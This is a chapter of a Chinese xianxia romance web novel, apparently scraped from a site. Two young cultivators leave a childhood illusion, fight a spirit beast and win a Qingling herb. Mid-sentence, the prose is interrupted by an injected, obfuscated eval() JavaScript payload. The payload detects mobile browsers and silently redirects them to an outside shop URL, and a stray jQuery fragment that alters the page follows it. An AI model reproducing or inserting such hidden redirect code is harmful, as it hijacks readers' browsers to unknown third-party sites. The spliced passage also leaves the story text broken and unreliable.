乌惊栖和与自己一个模板中刻出来的男童一前一后走着。

    男童走在前方,乌惊栖慢吞吞地跟在后方,时不时到处看一看,硬是拖慢了速度。

    幼年乌惊栖着实忍不住,厉声道:“你能不能走快点啊?!磨磨唧唧的是乌龟吗?”

    乌惊栖接过老汉送的一根糖人,漫不经心地塞进浅色薄唇中才缓缓开口:“着急什么啊?”

    老汉看了眼乌惊栖又看了眼男童,笑着开口:“公子,小孩子嘛,都爱玩闹,我们做爹的,要学会包容,哈哈。”

    乌惊栖:“……”

    男童:“……”

    “哈……哈……”

    老汉这也察觉到气氛的不对劲,反应过来自己说错了话,及时止住笑,默默做着自己的糖人。

    江府。

    江语辞默默为幼年的自己编好长发,整理好衣服。

    她又默默端详一阵,发觉女孩的头上过于单调,便从自己头上摘下桃花状的华胜插入女孩的发髻中。

    看着面前唇红齿白,面若桃花的小女孩,粉红色层层叠叠的裙摆,配上头上的粉红桃花,显得小女孩精致美丽,似不沾人间烟火的小桃花妖。

    江辞玉抿唇温柔地笑,耀眼的光照在她面上,连细小的绒毛也可以看见。

    幼年江辞玉拉起裙摆轻轻转了一圈,露出了这些天第一个发自内心的笑。

    这些天,所有人都带着同情怜悯的眼神看她。

    在她们的认知中,像她这样的孩子,成为遗孤后,好像就不应该漂亮好看,就应该狼狈的一直活在难过中。

    幼年江辞玉带着期待的眼神看着江辞玉,这段相处也让她明白,这个跟她阿娘长得很像的姐姐是个哑巴。她压下心中的难过与思念,对着江辞玉道:“姐姐,我以前没有在彩云镇见过你,你应该是刚来的吧?”

    她虽是询问的语气,但她的态度却充满笃定。

    江辞玉刚想点头,心脏突如其来的刺痛感让她猛然顿住。

    她的心脏好似有千万根针同时插进,密密麻麻的痛让她难以动弹。

    心中莫名涌出烦躁和杀意,她知道,她生心魔了。

    如果告诉师尊他们,他们当然可以很轻松的解决心魔这事。

    江辞玉眸中划过狠厉,但心魔或许是她摆脱师尊的一个好方法。

    师尊的吸收她修为的秘术是建立在她没有入魔的前提下,如果被吸收者在吸收过程中入魔,会给吸收者带去巨大反噬。

    “你……你怎么了?”

    女孩关心地开口,想来触摸她。

    江辞玉别过头,躲开女孩的触碰。

    她忽然不敢抬头,不想让过去的自己看到现在自己的狼狈样。

    虽然她明白,过去的自己因为并不是仙门弟子,并不清楚幻境什么的,所以也不会猜到她面前的姐姐是未来的自己。

    可是她就是不想,不希望,自己的狼狈样在这个女孩面前显现。

    她猛地起身,朝远处跑去。

    “姐……”女孩站起声刚想追过去,却因一道声音猛地停下。

    “辞玉……”

    她僵硬地转过头,便看到了狼狈的少年满脸激动地看着她。

    她嗫嚅着开口:“惊栖……”说完,她便看向站在后面的乌惊栖,目光停顿稍许,便继续看着许久未见的朋友,声音带了些许埋怨:“你怎么才来……?”

    乌惊栖抬眸,明白等他们谈完后他的儿时憾便也结束了。

    他默默离开,将时间留给这两个许久未见的朋友。

    男孩声音依稀传来:“我师尊说我筑基前都不准离开云江峰……”

    女孩声音带着诧异:“那你现在也还没有筑基啊……”

    “我……我是被我刚刚旁边那个哥哥带过来的……”

    乌惊栖抬着头看着阳光明媚,感受着清风徐徐,依然岁月静好。

    他的儿时憾是在江辞玉家破人亡后未及时下山陪着她,陪她度过最困难的日子。

    等再一次见面却早已物是人非。

    她把他遗忘,连同那些痛苦悲伤一起抛在了过去。

    真正的负心汉。

    应是江辞玉那个小骗子才是。

    他摇着头叼着不知从何处薅来的草,靠在假山上,迎着烈阳。

    他思考着江辞玉的儿时憾又是什么。

    但按他所想,怎么看都不可能是未能与他见面吧……

    乌惊栖苦笑着,将心中那一份隐秘的期盼强行压了下去。

    所有人都说他目中无人,不在意任何事物,不敬神明,不受拘束。

    但其实,他敬神明的。

    只不过,他敬的神明,是一个只属于他的神明。

    江辞玉靠在假山另一侧,数次施展静心决,可这一次的心魔发作得猛烈而突然,迟迟压不下去。

    直到静心决施展失败,她知道,她灵力也被封住了。

    她无力地靠着假山,头微微扬起,这假山很高,将阳光挡得很完全。

    她感受着心脏一次又一次的跳动,最后失去意识昏倒在地。

    乌惊栖被声音惊了一下,连忙到后方便看到他的神明倒在地上。

    “江辞玉!”

    他连忙上前握住少女的手,下意识去输送灵力。

    这也才反应过来他灵力还没有恢复。

    “靠!”乌惊栖忍不住骂道:“那个废物最好祈祷自己不会被找到!”

    他将少女拦腰抱起,为她压好裙摆,刚踏出一步,幻境便猛然碎裂。

    乌惊栖脚步顿住,万千碎片从身后涌向前,似银河惊艳,又若春水汤汤。

    他回过头,便看见两个孩童手牵着手随着碎片而行。

    幼年的乌惊栖还是那样狼狈,但看到抱着江辞玉的乌惊栖时,向他做了个鬼脸。

    乌惊栖倒也不在意,只是低头看着怀中安静的少女。

    江辞玉的眉头紧锁,他蹲下身,将少女轻柔地放置在地面,用手为她抚平眉间。

    浓雾渐起,幻境已经完全破碎,他用目光细细描摹着少女精致的眉眼。

    林中是那么静谧,雾气弥漫,但树木依然长得高大,有些适应雾气的灵鸟时不时叫鸣着,指引着旅人前往的方向。

    江辞玉意识回笼时,先感觉到的是鼻尖淡淡的柑橘香。抬眼望去,视线恰好落在他线条利落的下颌上。

    下颌线流畅地收向脖颈,喉结隐在白色的衣领边缘,随着平稳的呼吸轻轻滚动。

    江辞玉愣了一会才反应过来自己被乌惊栖抱着走。

    在发现少年有低头意图时,她立马紧闭着眼,装作还没有醒的样子。

    她还没有想好怎么去面对他。

    一想到被乌惊栖抱着走她就感觉不对劲。

    其实在少女醒来的时候,乌惊栖便察觉了,只是没有想到她竟然选择装睡。

    他也没有给少女这个机会,直接开口说:“已经进入内围了,剩下的路还要我抱着你走?”

    江辞玉脸上顿时爬慢红晕,连忙下来,还险些摔个狗啃屎。

    等她回头便看见乌惊栖带笑看着她。

    她咬着牙,只当没看见。

    乌惊栖走在前方适时开口:“走吧,莫要被其他人领先了。”

    江辞玉轻扭头,跟了上去。

    幻雾森林内围倒显得有些许普通,树木不像外围一样高大,周边的花倒也较为常见。

    树叶割碎月光,零零碎碎的洒在地面上。

    江辞玉看着走在前方的乌惊栖,心里生出许多疑问。

    但最想问的还是……

    她的儿时憾是什么?

    但很可惜,她现在问不了。

    “到了。”

    乌惊栖淡声道。

    江辞玉抬头看去,那是一个很普通的山洞,普

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943319|214003||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    通到如果是平常她压根不会进。

    她用略带怀疑的目光看着乌惊栖,满脸的不相信。

    乌惊栖耸耸肩,低声解释:“我师尊给的消息,相信我吧。”

    少年的目光真诚,江辞玉无言,而是直接进去,用行动证明其态度。

    山洞里面和普通山洞无异,空气中有着浓重的潮湿味,还时不时传来滴水声。

    乌惊栖没用几步便走到了前方,他带着江辞玉七绕八弯地才走到地方。

    那是一个水池,最中间有着一个小山墩,小山墩上只长着一株植物。

    江辞玉定睛看去,嫩绿的芽,叶尖隐隐有些透明。

    那是——清灵草!

    她一时还有些不敢相信,直到乌惊栖拉着她后退,她才艰难地将视线移到前面——一只巨大的灵兽恶狠狠地看着他们。

    龙头龟身,长长的尾巴,整体呈浅绿色,一双完全黑色的瞳孔,令人不寒而栗。

    乌惊栖一手握着剑鞘一手握着剑柄将江辞玉护在身后,向来漫不经心的眼中透着警惕。

    三……

    灵兽蹬了蹬后脚,持续蓄力。

    二……

    乌惊栖周围厉风渐起,衣摆猎猎作响。

    一!

    灵兽猛然冲过来,乌惊栖浅退一步,拔出剑,低声喝道。

    “长空!破云式!”

    天骄少年执剑迎上灵兽的冲击,手上青筋暴起,咬牙将力量汇聚在剑上。

    猛地挥剑,灵兽被迫后退几步,其头部血止不住地流。

    它面带怒气地看着乌惊栖,再一次冲过来。

    “啧,麻烦!”

    乌惊栖用手背抹去嘴角血痕,灵力没有完全恢复,他现在的修为只能说是筑基中期,但灵兽修为却已经到了筑基巅峰,隐隐有突破之势。

    他抬剑再一次撞上它的冲击,空中烟尘乍起。江辞玉召出剑,那是初拜师时,重恒剑君给她准备的。

    她趁着灵兽专心与乌惊栖打时,悄无声息地出现在后方。

    江氏有一剑招。

    以消耗一半修为为代价,发出的杀招,但使用后修为会下降一层。

    所以,江家有规定,非必要时刻不得使用。

    江辞玉抬头看着面前的灵兽,脸上坚定,目光炯炯有神。

    挥剑向前,剑气撞上灵兽背后的壳。

    乌惊栖目光与她视线相撞,她轻勾唇,少年对她回以一笑,侧身避开。

    灵兽被剑气撞得直直飞到墙上,留下巨大的坑。

    空气中响起破碎的声音,二人同时看去——灵兽的壳彻底碎了。

    江辞玉站立时轻晃了几下,乌惊栖及时将她扶住,低声询问:“还好吗?”

    少女在原地缓了一会,才挣开乌惊栖,向山墩走去。

    她走得摇摇晃晃,却那样坚定。

    这是她摆脱命运的第一步。

    她伸手握住灵草,柔软的触感让她怔了一下。

    然后,连根拔起,毫不犹豫的将它塞进嘴里。

    乌惊栖双眸睁大,被吓得快速到她一旁,扶住少女。

    江辞玉感受着体内灵力相撞,筋脉被反复打断重铸,痛的她紧抓着身边人的衣摆。

    “江辞玉!”

    她隐隐听到有人唤她。

    “你他妈疯了?!”

    江辞玉心想:她……才没有疯……

    等……等结束后,她一定要把这个人大卸八块!

    在经过一阵又一阵痛之后,筋脉最终重塑完成,江辞玉靠着身边的人,带着笑,累晕了过去。

    乌惊栖缓缓抱起满身是汗的少女,随意施了个净身决,便向外走去。

    天上依然冷月高照,但月光不似从前那般刺骨,反而带着温柔。

    江辞玉意识半醒,看着残缺的月亮,第一次有了不真实感。

    她想:这月亮真好看啊!